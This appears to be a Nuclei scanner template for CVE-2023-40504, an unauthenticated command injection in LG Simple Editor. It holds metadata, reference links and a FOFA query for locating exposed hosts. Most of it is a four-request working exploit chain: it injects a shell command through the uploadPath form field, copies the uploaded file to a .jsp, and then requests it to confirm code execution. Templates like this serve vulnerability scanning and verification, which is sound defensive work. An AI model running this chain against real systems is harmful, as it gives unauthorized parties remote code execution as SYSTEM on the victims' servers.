114 lines
3.9 KiB
YAML
114 lines
3.9 KiB
YAML
id: CVE-2023-40504
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info:
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name: LG Simple Editor <= v3.21.0 - Command Injection
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author: s4e-io
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severity: critical
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description: |
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LG Simple Editor readVideoInfo Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of LG Simple Editor. Authentication is not required to exploit this vulnerability. The specific flaw exists within the readVideoInfo method. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of SYSTEM.
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reference:
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- https://www.zerodayinitiative.com/advisories/ZDI-23-1208/
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- https://packetstormsecurity.com/files/180171/LG-Simple-Editor-3.21.0-Command-Injection.html
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- https://0day.today/exploit/39719
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- https://www.usom.gov.tr/bildirim/tr-24-0417
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- https://nvd.nist.gov/vuln/detail/CVE-2023-40504
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2023-40504
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cwe-id: CWE-78
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epss-score: 0.00094
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epss-percentile: 0.40471
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metadata:
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max-request: 1
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verified: true
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vendor: lg
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product: simple_editor
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fofa-query: icon_hash="159985907"
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tags: cve,cve2023,lg,simple-editor,intrusive,rce,file-upload
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variables:
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filename: "{{rand_base(12)}}"
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flow: http(1) && http(2) && http(3) && http(4)
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http:
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- raw:
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- |
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GET /simpleeditor/common/commonReleaseNotes.do HTTP/1.1
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Host: {{Hostname}}
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matchers:
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- type: dsl
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dsl:
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- 'contains(body,"LG Simple Editor")'
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- 'status_code == 200'
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condition: and
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internal: true
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- raw:
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- |
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POST /simpleeditor/imageManager/uploadVideo.do HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
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------WebKitFormBoundary7MA4YWxkTrZu0gW
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Content-Disposition: form-data; name="uploadVideo"; filename="{{filename}}.bmp"
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/
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------WebKitFormBoundary7MA4YWxkTrZu0gW
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Content-Disposition: form-data; name="uploadPath"
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/"&cmd&cd ..&cd ..&cd ..&cd server&cd webapps&cd simpleeditor&del {{filename}}.bmp&/../"
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------WebKitFormBoundary7MA4YWxkTrZu0gW
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Content-Disposition: form-data; name="uploadFile_x"
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1
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------WebKitFormBoundary7MA4YWxkTrZu0gW
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Content-Disposition: form-data; name="uploadFile_width"
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1
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------WebKitFormBoundary7MA4YWxkTrZu0gW
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Content-Disposition: form-data; name="uploadFile_height"
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1
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------WebKitFormBoundary7MA4YWxkTrZu0gW--
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matchers:
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- type: dsl
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dsl:
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- 'contains_all(body, "errorCode","errorMessage","fail")'
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- 'contains(content_type, "application/json")'
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- 'status_code == 200'
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condition: and
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internal: true
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- raw:
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- |
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POST /simpleeditor/fileSystem/makeDetailContent.do HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json
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Accept: application/json
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{"command":"cp","option":"-f","srcPath":"/{{filename}}_original.bmp","destPath":"/{{filename}}.jsp"}
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matchers:
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- type: dsl
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dsl:
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- 'contains_all(body, "errorCode","errorMessage","data","success")'
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- 'contains(content_type, "application/json")'
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- 'status_code == 200'
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condition: and
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internal: true
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- raw:
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- |
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GET /simpleeditor/{{filename}}.jsp HTTP/1.1
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Host: {{Hostname}}
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matchers:
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- type: dsl
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dsl:
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- 'contains(content_type, "text/html")'
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- 'status_code == 200'
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condition: and
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# digest: 490a004630440220238d6c4b173876bdd11be552ce064e6ea86a408459fccc901d1529e02d5a73ec0220099ad07f51609f948f410c4293a172cb6831ca2f0b359658c9a5f62714ae552e:922c64590222798bb761d5b6d8e72950 |